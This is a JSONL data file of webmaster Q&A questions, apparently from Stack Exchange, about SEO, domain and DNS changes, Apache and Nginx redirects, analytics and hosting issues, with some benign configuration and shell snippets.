{"id":"47647","title":"Removing \"www.\" from domain name and SEO","text":"We are doing a big redesign work on our website, and at least 50% of the website folders will be moved to new places with different names (i.e. many URL will be changed). Sure, Google will need some time to index new pages and we expect our SERP positions will be not so good as they are now for some time. We also have an old idea to remove `www` from our domain name. It seems, it's the right time to do these two works together with publishing the website with updated contents. Or is it better from SEO perspective first publish the new contents, and only after some time, when our SERP positions will return to prior results, tell Google that the domain name without `www` is our preferred domain name?"}
{"id":"23309","title":"Why does meta description exist when keywords doesn't?","text":"My understanding is that the meta keywords tag was long since removed as it was far too open for abuse and gaming. Search engines are a lot more intelligent now, why is the same criticism of the meta keywords not applicable to the meta description? Is this going to be phased out in the future possibly? Or does it hold actual long term value?"}
{"id":"51693","title":"Transferring Email to Google Apps - Timing","text":"I did a site for a client a few months back. Hosting & email was setup through Dreamhost VPS. Hosting has not been an issue, but email has become increasingly dodgy. Long story short, they want to transfer to Google Apps for Biz. They already have the mailboxes setup - they are on macs so they will be transferring using the gmail email importer for mac - my question is this - should they transfer their domain over first or their emails? I'm a developer so I have no problem changing their DNS settings, but I am not an IT manager type by any stretch so I am a bit in the dark about process - my proposed process was: 1. Delete any junk\/deleted mail from current environment 2. Backup email locally 3. copy emails to google apps via importer 4. Switch domain and update mac mail settings It seems that doing the domain first would be best but I don't know if that is possible. I have been trying to find a generic checklist, but i haven't been able to."}
{"id":"28390","title":"Php profiling on production server or other options","text":"Alright I need some help here. I am commonly asked to speed up certain sections of some websites that I program for. I have yet to be able to figure out how to use a good php diagnosis\/profiling tool. Some things to consider: 1. The sites I am working on are already built, getting a testing server set up locally is just a huge pain..I have to rewrite include paths and just so many things. This is a results oriented deal and spending days to get a site fully working on a testing platform so I can debug one page probably isn't an option. 2. I can write tons of php, but I have no clue how to interact or mess with servers. So every tutorial I read about setting up xdebug or xhprof all seem to involve getting something installed on a production server that I don't have access to or have no clue how to work with. So are there any solutions out there that will show me where my php is slow without having to do all sorts of server stuff that I just don't know how to do? Xhprof seems to be the closest to useable for me but from what I can tell it still has to be installed on a server. If anyone can just point me in the right direction on this I would be very grateful. Maybe getting these things put on the server isn't a big deal...but I have never interacted with server command lines or anything like that. I suppose I should start sometime but I really have no idea where to start. Plus I realize that profiling on a live platform is not the greatest idea either but I feel I am in a tough spot. I have speed issues to solve and setting up a local environment while a great idea, just doesn't seem real practical at the moment."}
{"id":"47146","title":"Font creation for logo","text":"I have a template and that template has a logo. The logo is something called \"Cream\". I really like the way it has been set up. I want the same style with different name. How to do that? The problem is that logo is a .png image and not text. Any idea on what to do?"}
{"id":"15226","title":"Domain registrar changed DNS without warning","text":"We have had a very long an damaging outage which lasted around 24hrs due to a change in our DNS servers by our registrar. What happened (according to our registrar) was that for some reason their system identified our domain to be due for renewal and changed the authoritative DNS servers to theirs which caused our domain to be forwarded to a temporary holding page. Once we alerted our registrar to the problem it wad already too late as the error had already propagated. Our domain runs out in Jan 2020 so there was absolutely no reason for this change. Now my question is, how do other businesses protect themselves against these types of outages which are both out of their control and take hours to resolve, inevitably causing the service to be unreachable for a long period? Thanks."}
{"id":"26622","title":"Rendering IPA characters like 'ŋ' correctly","text":"(I hope this isn't too dumb a question) When I go to this Wikipedia article: http:\/\/en.wikipedia.org\/wiki\/International_Phonetic_Alphabet These 'special' phoenetic characters, such as 'ŋ' render correctly in my browser. However, when I try to use characters such as 'ŋ' in my very own website they render like this: 'Å‹'. What I have tried so far: I found this code from the wikipedia source: `<span title=\"Representation in the International Phonetic Alphabet (IPA)\" class=\"IPA\">ŋ<\/span>` but it still renders as 'Å‹'. In fact in this very question it is rendering correctly, what method should I use to correctly render characters like these?"}
{"id":"15229","title":"Apache log analytic's","text":"Been trying for a while to get this script fully working I think I'm nearly there. Ok so I basically need the script to show 3 things, email address - Browser type - Time logged in. EMAILS='\/home\/user\/emaillist.txt' MAIL=$EMAILS while read MAIL; do grep -f $EMAILS \/var\/log\/apache2\/ssl_access.log>>\/home\/user\/test.txt done < $EMAILS I need some way of first using the todays date in here so it only searches the apache logs for that data. I was thinking about using the linux date +\"[%d\/%b\/%Y\" command in the script as this will match the correct date formate. The other aspect is that I only need the output to show the user's email address | Browser type and date from apache nothing else. HELP please UPDATE Managed to play around with the script and got it to this stage where it works fine I just need to work out how to add browser data into the text file? x=$(date +\"%d\/%b\/%Y\") y=$(date +\"%d%b%Y\") filename=emaillist.txt while read filename do if COUNT=$(grep $filename \/var\/log\/apache2\/ssl_access.log |grep -c $x) then echo $filename:$COUNT>>\/home\/user\/logs\/usage\"$y\".txt fi done < emaillist.txt"}
{"id":"39243","title":"How do I add domains to certificate","text":"I just installed a dedi. I got a self signed certificate to maindomain.com Then I want to access childdomain.com\/cpanel The certificate is for the main domain on the server. I tried to access cPanel on another domain under that main domain. So of course internet explorer complained. Well, how can my main domain issue a certificate for the child domain?"}
{"id":"39241","title":"Is using HTML tables for data presentation bad for SEO?","text":"I have a site that presents information in each page with HTML tables. Does this affect my site's SEO? Should I replace all tables with divs? I'm not using HTML tables for layout. I'm only using them for representing information."}
{"id":"7437","title":"How do I make a domain name transfer without dealing with an agent","text":"I have been talking with a domain name holder, and he has agreed to sell me one of his domains. He said he will transfer the domain to my name with godaddy (I will register for an account with godaddy first). How should I process the payment so that neither party (me or him) is at risk of fraud? TIA!"}
{"id":"7430","title":"The entire content of my Wordpress page has disappeared","text":"I have a blog installed on my site using Wordpress. Last week I upgraded Wordpress from 2.6 to 3.0.4 (I had to do this manually). All went well, or so I thought, but I have just noticed that the content of an existing _page_ has vanished. The page URL still works, but all content has disappeared - doctype, html tags, body tags, everything. Please note, this is specific to **pages** - posts are still displaying fine. I have since created a brand new page which does not display the content either. Things I have tried include * Switching to a freshly installed theme * Deactivating all plugins * Setting the problem page to draft, and back again * Deleting the .htaccess file I suspect it's a database problem and have contacted my hosting company who have said the only thing they can do is restore the DB from a backup, but that I should consider it a last resort. Does anyone have any further ideas what to try?"}
{"id":"53143","title":"Is it bad to hide content for SEO?","text":"I'm designing a mobile CSS file for my website. It normally has a top navigation bar, like in here, Stack Exchange's sites. In my mobile version, I plan to hide the topbar, and put a button, which toggles the topbar on\/off, but default it is off. Will Google ever find about my site's mobile version? The URL is the same. And if it does, will it consider this as a \"black-hatting\"?"}
{"id":"2021","title":"The YouTube of Sound","text":"My current website includes some embedded YouTube (and Facebook) videos and I know there are numerous other video hosting websites. Is there a free hosting service specifically for audio files, for easy embedded playback through a flash\/html5 interface? (I'm not worried about social features, e.g. commenting)"}
{"id":"29224","title":"How does Google feel about overflow: auto?","text":"I am planning to add some keyword rich text to my homepage at the very top. I have written almost a mini essay and putting all this text at the very top left of my page wouldn't look too nice. I was wondering if putting it inside a 500 X 200 div and using overflow: auto on it would help or get me penalized? e.g. http:\/\/jsfiddle.net\/svaXY\/"}
{"id":"49387","title":"What do large review sites do when duplicate content is unavoidable?","text":"Most review sites, for example sites that review games with different platforms, will often have three URL's with identical content, only differing in color schemes, and of course comments. This is true of some large sites like `ign.com`. How do these sites deal with duplicate content? Do they use a `rel=canonical` link to point to only one URL?"}
{"id":"4706","title":"Where to find ads of a certain size to place on my web site?","text":"Where can I find ads to place on my site that are `125px x 125px` to place one my site? The sites content is mixed."}
{"id":"42651","title":"Joomla redirect manager doesn't redirect when there are params in url","text":"We've recently transfered a huge site to joomla. It has two languages; english and german. There is a twitter account which has links to the previous site. These links look like this: > [site]\/de\/news\/nc\/article\/[article-alias] On the new site we have set up redirects from these urls (manually) to the new urls, for example: > [newsite]\/de\/[menuitem]\/news\/[article-alias] (the new article-alias differs from the old one, as the titles changed) Now, for some reason, when a user clicks on the (german) twitter link he gets redirected to the frontpage and two new lines show up in the redirect manager: > [newsite]\/de\/news\/nc\/article\/[article- > alias]?utm_source=twitterfeed&utm_medium=twitter > [newsite]\/en\/news\/nc\/article\/[article- > alias]?utm_source=twitterfeed&utm_medium=twitter I have no idea why the system does this. Setting up redirects automatically is no option. Any ideas as to why params at the end of the url don't get redirected, and why there is also an english line in there? (the twitter link is to the german version"}
{"id":"46860","title":"SSPI Apache2.2 Windows Authentication","text":"I am trying to set up seamless authentication on windows for my intranet site, using SSPI on Apache 2.2 and windows 2008 server. I have installed mod_auth_sspi.so in apache\/bin. I have also added the webpage url to the intranet zone in IE and Firefox. I am using Perl and CGI.pm for my site and retrieving the username using the CGI Env variable Remote_User and Auth_User. Neither of these are set and nor does the authentication seem to be happening as I do not get a pop-up window in both IE or Firefox or any local html file i tested with. My config on httpd.conf is as follows. <IfModule !mod_auth_sspi.c> LoadModule sspi_auth_module modules\/mod_auth_sspi.so <\/IfModule> <Location \"C:\/Program Files (x86)\/Apache Software Foundation\/Apache2.2\/htdocs\/TestWeb\/\"> Options FollowSymLinks Order allow,deny Allow from all AuthName \"TestWeb\" AuthType SSPI SSPIAuth On SSPIAuthoritative On SSPIOfferBasic on Require valid-user SSPIDomain domain <\/Location> I am not sure if my domain name is the issue here. My corporate domain is in the format corp.company.com I used that and he ip associated with it with no luck. I retrieved my domain name by issuing the NET VIEW \/DOMAIN on my windows server and it listed my corp domain, which is what i would like to authenticate the users with."}
{"id":"42537","title":"Specializing RSS content","text":"May I please have some help in using an RSS feed. Here is a link to an RSS feed: http:\/\/weather.uk.msn.com\/RSS.aspx?wealocations=wc:NZXX0049&weadegreetype=C&culture=en- GB This is the feed that I am looking for. The problem is, how can I get information on other locations rather than just Wellington New Zealand. I am having trouble finding the page that lets me specify the region for the RSS feed. If anyone has some time to quickly point me in the correct direction, I would appreciate it greatly. Thank you."}
{"id":"16083","title":"SEO Service - Refresh SEO","text":"I've been approached to possible take over SEO\/marketting work for a site. The guy is currently using a paid service at http:\/\/refreshseo.com\/ and paying around $80p\/m. From what I can make out all refreshseo does is automatically generate keyword rich content pages and attach them to the site. These pages aren't actually linked to from within the site. So I'm wondering two things 1. has anyone had any experience with this particular company or similar types - has it been worth it? 2. How do you think the recent Google Panda updates impacts on this kind of strategy? Thanks in advance"}
{"id":"16087","title":"Googlebot visit but no cache update - why?","text":"I have made a new plain vanilla HTML website. I have been making regular modifications to it on an almost daily basis. The site is hosted by hostmonster and as part of their service they offer \"awstats\" to let you know assorted details of visitors to the site. One thing is puzzling me. According to awstats, a \"robot\/spider\" calling itself \"Googlebot\" visited my site as recently as today (28th June 2011), but when I find my site on google (e.g. by searching for \"full reserve banking\") the cache is dated only the 5th June. I always thought that a visit from the google robot was synonymous with a cache update. Am I wrong? Or have I accidentally put something in the site telling google that nothing has been updated? **EDIT:** It seems a moderator has removed the name of my website, so there is now no chance that anyone could check out if I had made some error on my site :-( ... but anyway, in answer to paulmorriss' question, here is what aw stats was telling me: "}
{"id":"16085","title":"Book recommend: Start learning web design with css with basic HTML knowledge","text":"I've already known some HTML, tables, link, image,...etc but just at a basic level. Now I want to learn how to build a layout for a website and design also. I want to start building a layout right a way and just learning from it, not really like reading so much theories, explanations. Many books are so verbose, they teach from the beginning of HTML or explain things too much. I don't want to waste my time. So are there any good books for me?"}
{"id":"56515","title":"What does the 'c' language represent in Google Analytics?","text":"Checking out my Google Analytics I see I am getting a good amount of hits from a language just called 'c'. This normally wouldn't bug me, but all these 'c' hits have a 100% bounce rate. As these account for about 1\/3 of my unique visits this has distorted my overall bounce rate overview. Does anyone know what these 'c' visits are? Are these bots?"}
{"id":"56510","title":"How To use Hosted account with custom domain of my blog","text":"i have hosted account , but i can't use in my custom support domain blog. when i get code from adsense and try to put in my site then ads will not shown.and when again i get code and implement to blogspot support domain then ads will shown....so now what's the solution to show my ads in my site i don't want to remove my .com domain and i can't upgrade my account .if any have any idea then tell me."}
{"id":"43402","title":"Hosting Dynamic Content on GitHub?","text":"Is it possible to host dynamic content through GitHub:Pages? More specifically, we are using GitHub Enterprise, so we have a little more control, but I'm not aware of what dynamic content languages (Ruby, Python, ???) we might be able to use."}
{"id":"56518","title":"Redirecting single URL with Nginx - not working","text":"I have been trying to redirect several single URLs to their new locations using Nginx. The URLs are from Blogger and are in the format: `http:\/\/domain.com\/yyyy\/mm\/slug`. For example, I have this: `http:\/\/example.com\/2013\/04\/chartjs-javascript- library-for-easy.html` I am using this Nginx rewrite to redirect it, but for some reason it doesn't work: server { location ~ \/([2012-2013]+)\/.*\/chartjs-javascript-library-for-easy.html { return 301 http:\/\/$server_name\/resource\/chart-js; } } I place this in `\/etc\/nginx\/conf.d\/example.conf` which is loaded inside `\/etc\/nginx\/nginx.conf` Can anybody tell me why it doesn't work? It was working sometime back. Am I messing up my regex? **EDIT:** For some reason, location `\/test` redirects ok, but location `\/test\/html` doesn't. Any idea why?"}
{"id":"16330","title":"Nameserver Update Update and Gmail Account","text":"I have a domain name with GoDaddy and I have my domain name setup with Google to receive email using that domain name (name@mydomain.com). Yesterday I bought a WinHost account and had to update the nameserver information. Will changing the nameserver information to Winhost's nameserver information interrupt my google apps (specifically blogger and gmail)?"}
{"id":"16332","title":"Anyone use Spiders apart from search engines and spammers?","text":"Are spiders ever used by anyone other than search engines and spammers? If someone wanted to collect information from the web, would they ever use them? Thanks"}
{"id":"32173","title":"Google and 301\/302","text":"we have to solve a problem with Google not correctly indexing our multilanguage sites. We'll redesign our urls in the future but until then we need some way to help google find the different language versions while preserving convenience for the users, especially those that use already existing links. First I'll explain our site\/url structure a bit: Assume we use the domain `foo.com`. Our application will then detect the language of the browser and display either the english or the german version of the page. The user can then change the language by clicking a link which results in the query parameter `language=xx` being appended. The currently selected language is stored in the session, thus if the user doesn't change the language every page will be displayed in the language that was selected last. Here's a short example for a user with browser language DE: foo.com -> foo.com\/bar -> foo.com\/bar?language=en -> foo.com (German) (German) (English) (English now) If the browser language is not supported or not provided, we assume English as a default. So now, GoogleBot will have problems with this, since `foo.com` could either return english or german content. Initially, GoogleBot should get the english version but if the language change link is followed (or the german TLD is used, since `foo.de` redirects to `foo.com?language=de`) the german version would be delivered). Another problem is that our page internal links don't carry the language parameter. Although we could change that (with some effort in some cases) those links (without the parameter) are already present on external german sites and thus must be supported somehow. To overcome this, we thought of the following redirection strategy: foo.com -> no session yet: detect browser language -> if DE, then 302 to foo.com?language=de -> if EN, then deliver the english content -> we have session, so get the language from the session -> if DE, then 302 to foo.com?language=de -> if EN, then deliver the english content foo.com\/bar -> the same as foo.com foo.de -> 301 to foo.com?language=de Each page would then additionally have the `alternate` relation set, e.g. <link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/foo.com\" \/> <link rel=\"alternate\" hreflang=\"de\" href=\"http:\/\/foo.com?language=de\" \/> So, from our point of view, the following should happen: * The user opens `foo.com` and either gets the english version or is redirected to the version matching the browser language (if supported) * The user clicks `foo.com\/bar` and depending on the language in the session (or the browser language if the url is directly opened) either the english version is delivered or he's redirected to `foo.com\/bar?language=xx`. * GoogleBot crawls `foo.com` and since no language is provided it sees the english version, even when following the internal links The real question here is: As far as we know, there's no guarantee that GoogleBot either uses a session id or doesn't use it, thus we don't know whether there is a session being reused during crawling. Thus there are two possibilities: * If GoogleBot uses a session, it might either get english content or a 302 redirect for any url that lacks the language parameter (e.g. `foo.com\/bar`). How would Google handle that? * If GoogleBot does not use a session it would get the german version for `foo.de`, due to the redirect. If it then follows an internal link to `foo.com\/bar` it should get the english content, since no language is provided and a new session is created. In that case, would GoogleBot store the alternate link `foo.com\/bar?language=de` for the german version? Thanks so far to all who endured reading all that and even more so to all who have an answer to share. Please note that we're working on redesigning our urls to always have the language in the path (e.g. `foo.com\/en\/bar`) but that'll take a while and we also need to handle already existing links without the language. So please don't just suggest to restructure the urls. **Edit** : As of request, here's the original problem that we're trying to tackle. Our customer generally uses their .com domain and they want the result pages to display a German description when using google.de and an English description in any other case. However, the results are always displayed in English. Our current (seemingly insufficient) approach is this: foo.com -> page in english or german, depending on the request language (and currently on the session as well) -> alternate link with hreflang=en : foo.com?language=en -> alternate link with hreflang=de : foo.com?language=de We assumed that Google would be able to use the alternate language versions and display the best fitting version in a localized result page. This, however, didn't work out so well yet and we assume one reason is that `foo.com` itself isn't an alternate link to anything. Thus we thought about leaving the language parameter out for the english version (see the question above) and use `foo.com` as the alternate link for hreflang=en. We're no SEO experts though, so this could be wrong. If so please correct me with some hints or explanations. :) With this trail of though we arrived at the point where `foo.com` should represent the english version of the page only. However, if we change that, all german users (which are about 50% of the visitors) would first see the english page, because of the many links in the wild that don't contain any language parameter. And this is something our customer clearly doesn't want. This again led us to the approach using redirects to `foo.com?language=xx` and calculating `xx` from the browser language (and the session as well, if it contains language information)."}
{"id":"19858","title":"Redirect requests to another folder","text":"I want to redirect all the requests that come to the folder 'test' to 'test1' using apache configurations. How do i do it?"}
{"id":"24210","title":"Temporary redirect to another website","text":"I'm thinking during maintenance time at my website instead of showing \"Maintenance Page\" redirect to the same idea site. It takes some time up to 1 hour And I'm thinking to use temporary redirect. What is the negative side of doing that?"}
{"id":"21048","title":"Category redirect in breadcrumbs - bad SEO?","text":"If I have breadcrumbs like this: home > products > categoryA > subcategory > product But the only pages I have is the first products page and the end product page the two categories in the middle are the categories for the product. If I redirect both the categories to the first products page is this bad for SEO? Or should I redirect the categories to equivalent pages, i.e. categoryA will go to a page with the same name. By the way I am using wordpress."}
{"id":"48032","title":"Does Yext provide any value for web only based businesses?","text":"I've been researching Yext and trying to understand if it provides value to web-only based business. It seems that if you don't have a physical presence then Yext is not any use. Is this accurate?"}
{"id":"19508","title":"SEO for single-page content-less Web App","text":"as written in the title the website on which I try to do Search Engine Optimization has following two properties: * doesn't have any content in the SEO sense: it doesn't hold any information and only offers functionality * consists of only one page\/URL since most of the SEO tips\/tricks I read are based on content, how do I perform SEO optimization on such a website? for more info: the website is basically just a timer\/alarm\/stopwatch (http:\/\/www.timer-tab.com)"}
{"id":"5197","title":"Testing new changes to website while retaining ability to revert back to original - to protect SEO","text":"If I'm making changes to site code, content, adding\/removing pages, changing links, changing database structure, etc.. How do I safely test all these changes, while still maintaining ability to revert back to the original and retain original search engine ranking and position (in case something screwy happens)? I want to make changes, see what happens, if it happens to be bad for SEO - do the common sense thing and go back to original. Thanks for the help!"}
{"id":"45005","title":"Apache - Reverse proxy","text":"I am using Apache 2 and using the below virtual host definition in httpd.conf file <VirtualHost *> ServerName localhost ProxyPass \/ http:\/\/localhost:8080\/stackoverflow\/ ProxyPassReverse \/ http:\/\/localhost:8080\/stackoverflow\/ RewriteEngine On RewriteRule ^(market|stock|mutual)$ stackoverflow\/$1 [L] <\/VirtualHost> Here, when I type localhost\/market then Apache internally rewrite the URL and show me the contents of localhost:8080\/stackoverflow\/market Now my problem is: When I click on any of the link of that site having following URL localhost:8080\/stackoverflow\/market\/abc Then, My address bar will show the above URL I want my Apache server to redirect me to localhost\/market\/abc means User will be shown the above URL, but the contents will come from localhost:8080\/stackoverflow\/market\/abc I was thinking if I need to set reverse proxy for this. Please help me on this."}
{"id":"4709","title":"When should I apply for Google AdSense?","text":"My site is not yet up and was wondering if I can apply for Google AdSense when my site is not yet up or when my is up and just a template? Any suggestions when I should apply for Google AdSense and what conditions my site should be in?"}
{"id":"41076","title":"Modifying Article - Effect On SEO","text":"lets assume, I have a article that is ranked well (but not top) in search engine. Now, If I want to modify it a little more optimized, will the modification hurt on existing ranking in any ways? Thanks."}
{"id":"52369","title":"SEO of gallery deeplinks","text":"if I have a gallery, say `2013\/01\/01\/new-feature` and each image is indexable and can be shared: 2013\/01\/01\/new-feature\/slide1 2013\/01\/01\/new-feature\/slide2 Each slide will have an individual title+description, but this also means that the \"Body text\" of the each deeplink will always be the same. Do I have to set `<h1>` for each deeplink to the title of each picture and will the duplicate body text on each slide deeplink hurt SEO?"}
{"id":"50199","title":"How can I prevent HTTPS on another domain from wrongly showing on my HTTP-only domain?","text":"So, I have a blog at `domain.com`. This blog is HTTP-only because I would gain almost nothing from adding SSL support. I have a web service now that I want to enable SSL support on that runs on the same server and IP address as my blog. I got it all working pretty easily, but not if I go to `https:\/\/domain.com` I will see a huge warning about an SSL certificate error and then if I click \"ok\" through the warning, I'll see the web service with SSL support, not my blog. My biggest fear with this scheme is Google indexing an HTTPS version of it and penalizing my blog because the content between the two doesn't match. How can I somehow for my blog's domain to either not serve anything on HTTPS, or to redirect back to my HTTP blog, or to serve my blog, but with an invalid SSL certificate? What can I do, preferably without buying another dedicated IP for my website?"}
{"id":"48036","title":"Can my competition force my clients not to list with me?","text":"I have a listings site that lists cars. The cars are those of several auto dealers in my area. Many of them signed up with me, to list their cars and then I direct traffic to their business. However, the day after listing with me, my competition sent them an e-mail saying that if they list with me, their content will be removed from the competition's website. They followed by emailing me, telling me to remove all their listings off my site. 1. Isn't this illegal? I mean, he's basically forcing a monopoly and killing anyone that enters the market? 2. Can he legally deny people being listed on their site on these grounds? 3. Do people not have the right to advertise everywhere? 4. How do I proceed to deal with such a matter, or is it a lost cause?"}
{"id":"54992","title":"Any ideas why my Google search traffic dropped considerably after 29th Oct 2013?","text":"I've noticed a sizable dip in traffic with www.topomap.co.nz so headed over to Google Webmaster Tools to see if Google had encountered any issues with the site. Was quite surprised to discover that the \"Search Queries\" stats dropped considerably after Oct 29th. Any ideas why Google might suddenly have decided not to like the website so much? "}
{"id":"51395","title":"How to check SERP position correctly?","text":"I wonder how do you check your website's SERP position for a certain query. I cannot directly go to Google and search, because it knows i'm looking for my site, and it shows it in the first position, but from another browser, it cannot be even in the first page. So how do you check for \"average user\" ? I use Tor browser for that, since it gives me a completely different IP, do you think is it safe? I mean, does it give useful information ?"}
{"id":"26239","title":"Authenticate phpBB using custom MS-SQL database","text":"How can I let my users to log into a phpBB forum by entering their user credentials while these credentials are stored in a separate MS SQL database? I mean I need to customize the authentication routine so it looks into MS SQL database for user credentials"}
{"id":"21956","title":"Simple MediaWiki question","text":"I'm thinking about making a mediawiki website. At first I'd like to try it at `localhost`. I'm running Kubuntu 11.10, so I did: sudo aptitude install apache2 mysql-server php5 php5-mysql php5-cli And I also fetched the latest mediawiki to: \/home\/boris\/Its\/sites\/mediawiki-1.17.0 Now I'm supposed to open http:\/\/localhost\/home\/boris\/Its\/sites\/mediawiki-1.17.0\/index.php But firefox says the page is not found. While `http:\/\/localhost` works. If I get it right - I have to open `index.php` to install mediawiki. So my question is - what do I do wrong? I'm really sorry for this is might be a very simple question. By the way do I have to make a db beforehand? Is it possible to use mongoDB as a db with mediawiki?"}
{"id":"59380","title":"How urls of an ecommerce website should be made to be SEO friendly","text":"Presently I am working on a website which has url like this * For category page mydomain.com\/c\/10\/t-shirts * For product page mydomain.com\/p\/1023\/printed-black-stripped-t-shirt I thought that this is not SEO friendly and thinking to move to a different structure, but confused in how exactly it should be named. Find few samples below that I am thinking of, please tell me is this correct or something else should be done * Category Page: site.com\/category-name\/ * Sub-Category Page: site.com\/category-name\/sub-category-name\/ * Sub-Category Page: site.com\/sub-category-name\/ * Product Page: site.com\/category-name\/sub-category-name\/product-name * Product Page: site.com\/product-name"}
{"id":"21950","title":"Sudden increase in traffic from Google search domains","text":"I'm suddenly getting a 50% increase in traffic. The cause of this, according to my google analytics, is referral traffic from sites such as: google.co.uk google.com.my google.co.jp google.com.sg etc etc, none of which gave me traffic before. Why am I suddenly getting traffic from these places?"}
{"id":"1860","title":"Should JavaScript referenced in the head section be served from the same hostname as the main document?","text":"I was under the impression that for the best performance, Javascript should be treated as static content and served from a cookieless domain along with CSS files, images, etc. But Google says here: Don't serve early loaded external JS files from the cookieless domain > For JavaScript referenced in the head of the document and needed for page > startup, it should be served from the same hostname as the main document. > Because most browsers block other downloads and rendering until all > JavaScript files have been downloaded, parsed and executed, it's better to > avoid the risk of an additional DNS lookup at this point of processing. So now I am conflicted. I am not clear on what \"needed for page startup\" means. I typically have two JavaScript references, JQuery served from ajax.googleapis.com and a master.js file that mostly contains event handlers in the $(document).ready() function. Is this needed for page startup? Given the options available, (ajax.googleapis.com, static cookieless domain, original hostname) where should my JavaScript be served?"}
{"id":"17681","title":"Is it possible to purchase a non-recurring credit on Google App Engine?","text":"My birthday is coming up and my parents asked me what I would like for a present. I said \"App Engine CPU hours\". But after looking at the billing options, I can't find a way for them to make a one-time credit to my account. The only option seems to be an authorization of a maximum billing amount for a particular time frame. Is it not possible to give someone App Engine resources as a one-time gift?"}
{"id":"3724","title":"How can I rewrite an old URL using variables to a static html page?","text":"I am an htaccess newbee I am trying to redirect the old URLS for my site to the new URLS for my site. The old site used variables in the URL but the new site uses SEO friendly URLs. When I try to redirect the old URL, it is not w=redirecting and I get the 404 page instead. I am unsure if the SEO rewrite is the cause of the other rewrite condition failing. How can I write the RewriteRule so that it redirects the old URL? Options +FollowSymlinks RewriteEngine On RewriteCond %{HTTP_HOST} ^WEBADDRESS.co.uk RewriteRule (.*) http:\/\/www.WEBADDRESS.co.uk\/$1 [R=301,L] RewriteRule ^(.+).html index.php?seo_title=$1 [nc] redirect 301 \/WEBPAGE http:\/\/www.WEBADDRESS.co.uk\/WEBPAGE.html RewriteRule ^http:\/\/www.WEBADDRESS.co.uk\/test\/test.php?c=viewtest&id=56&sat=9&mainsat=1&start=0$ http:\/\/www.WEBADDRESS.co.uk\/NEW_URL.html ErrorDocument 404 \/PAGE_NOT_FOUND.html"}
{"id":"14527","title":"Determining Source Quality with Google Analytics","text":"What I am trying to do is set up a report (either on the new or the old analytics setup) that tells me the average \"Pages per Visit\" of all traffic \"Sources\". I can get that through Traffic Sources->All Traffic Sources, and then sorting by pages per visit, but that puts a lot of junk (one or two visits) sources on top, if I sort it by number of visits, I get a fair amount of junk (stumbleupon.com with only around 2 pages per visit). What I would like is that same chart, sorted by pages per visit, with visits above a threshold of 10. Any advice?"}
{"id":"4682","title":"Is it possible to find all the keywords for a site that rank it in the top 10 results? If so, how?","text":"One thing I know for sure is that even if a site only had one keyword on it, it would be possible to rank for more than one keyword; in theory, based on the fact that a keyword being in the text of a site is not a requirement for the site to rank on that keyword. Which means that you can't even use the site's own text as a 100% based line for mapping a site's rankings across all possible keywords."}
{"id":"4939","title":"Does Google adsense affect page ranking?","text":"does placing google ads in out web page help in SEO page rank?"}
{"id":"2105","title":"What is good URI design?","text":"How should a good URI be designed? What are the factors to consider? What are the pros and cons of the variants? **Factors that makes up a good URI** * Stability over time * Short * Give the user an idea what is linked * Easy to type * Easy to guess (relevant only for a few links like \"\/jobs\") * Search engine friendly * URI schema should be consistent over the whole site * URI schema should allow future extensions Any more? **Examples** * `example.com\/articles\/3252` * `example.com\/articles\/how+to+design+good+uri` * `example.com\/articles\/3252\/how+to+design+good+uri` * `example.com\/good-uri-design` * `example.com\/articles\/good-uri-design` * `example.com\/a\/good-uri-design`"}
{"id":"11735","title":"What does the site \"engine\" do and why can't I just create a set of pages?","text":"This question is very newbie level - I want to understand a fundamental thing that bothers me big time. Many years ago when I needed a simplest website I just used Netscape Composer to create a set of .htm files, then uploaded those file to the website root via FTP - and I've got a site. That was my only experience of building a website. Now every here and there I hear about \"website engines\" - even when simplest sites consisting of say five pages are discussed. I guess a \"website engine\" is some complex system that facilitates storing and managing numerous pieces of content and serving some aggregations of them to the users. I don't get why I need anything like that for a very simple website with five pages and ten pictures. What's the \"website engine\", why do I need it and why can't I get without it?"}
{"id":"11734","title":"What should be done with URLs that no longer exist on a site?","text":"The situation: A site with an inventory page, which lists items for sale. Each item description includes a link to a spec sheet which can be downloaded in .pdf form. However, those items are eventually removed from the page, and the corresponding spec sheets become not available. This triggers a crawl error in Google webmaster tools, because it knows about the links, but gets a 404 error when it tries to visit them. Should I instead return a 410 Gone error code? Should those links (to the downloadable .pdf file) be nofollowed from the very beginning, since Google can't index the documents?"}
{"id":"11731","title":"Dynamic and Fixed Layout","text":"When should I use a dynamic layout? And when the fixed one? Thank you!"}
{"id":"25979","title":"Reliable method for google analytics tracking for print advertising campaign?","text":"A client is looking to track advertising clicks through a newspaper ad to measure success. They have rigid business requirements that it will be a unique domain... e.g. `foowidgetsnews.net` instead of `foodwidgets.com\/contact-form-page.php` What is the most reliable method of building redirected url to a landing page so it will be tracked in google analytics as a direct hit from the newspaper? Finally, we would like to track the `foowidgetsnews.net` as the main url in google analytics because 301 redirect isn't tracked in google analytics like the way we would like it to."}
{"id":"57178","title":"www & no-www issue after server migration","text":"I've just changed my web hosting and edited my nameservers, etc. and uploaded the website onto the new hosting servers. This all went fine and without any problems. However, when testing the live site I found that `www.example.co.uk` is working but just typing `mydomain.co.uk` redirects back to the old server\/website (which is closing down later on today). I was just wondering what the issue is here and if\/when the new site will show up when typing in the address without the `www`? I'll be the first to admit that I know very little about this `www`. vs `no- www`. so any help with this would be greatly appreciated and I'd like to know the best way of setting my domains up so that all of my sites are consistent."}
{"id":"43620","title":"Which way to forward alternate domains?","text":"I have a few alternate domains that I want to point to my main domain: Main: `awesomewebsite.com` Alternates: `awesomewebsite.net`, `awesomewebsite.co`, `awesomewebsite.me` Which is the best way to forward any hits on the alternates to the main? I can set up Web Forwarding with my registrar (iwantmyname.com) with Zerply but I find their interface very confusing. However this does mean I only have the main domain on my hosting account (MediaTemple). Or I can set DNS of all domains to MediaTemple and then set the forwarding there with .htaccess. Is either of these a particularly good\/bad idea?"}
{"id":"2104","title":"do I need to login the second time I use \"paypal standard payment\"?","text":"Paypal Payment Standard doesn't require to be registered to paypal to perform payment. However I've read on a blog that the second time you proceed, it recognize your credit card and ask you to register to paypal. Could you give me a 100% sure answer about this ? I really cannot ask customers to create paypal accounts. thanks **Update** : I've found the following extract on a website: > Are PayPal accounts required in order to make a purchase or donation? Not > any more. It was this way before but PayPal.com changed the policy. You may > make ONE non-recurring transaction without opening a PayPal account however, > PayPal creates a temporary PayPal account with credit card number used. If > you use the same credit card again with so many months, PayPal will ask to > open and verify an account. I was wondering **how often** it should be a payment done to see paypal asking to make an account. For example, let's say that I'm performing the second payment after 2 weeks. Is it going to ask me for a paypal account ? thanks"}
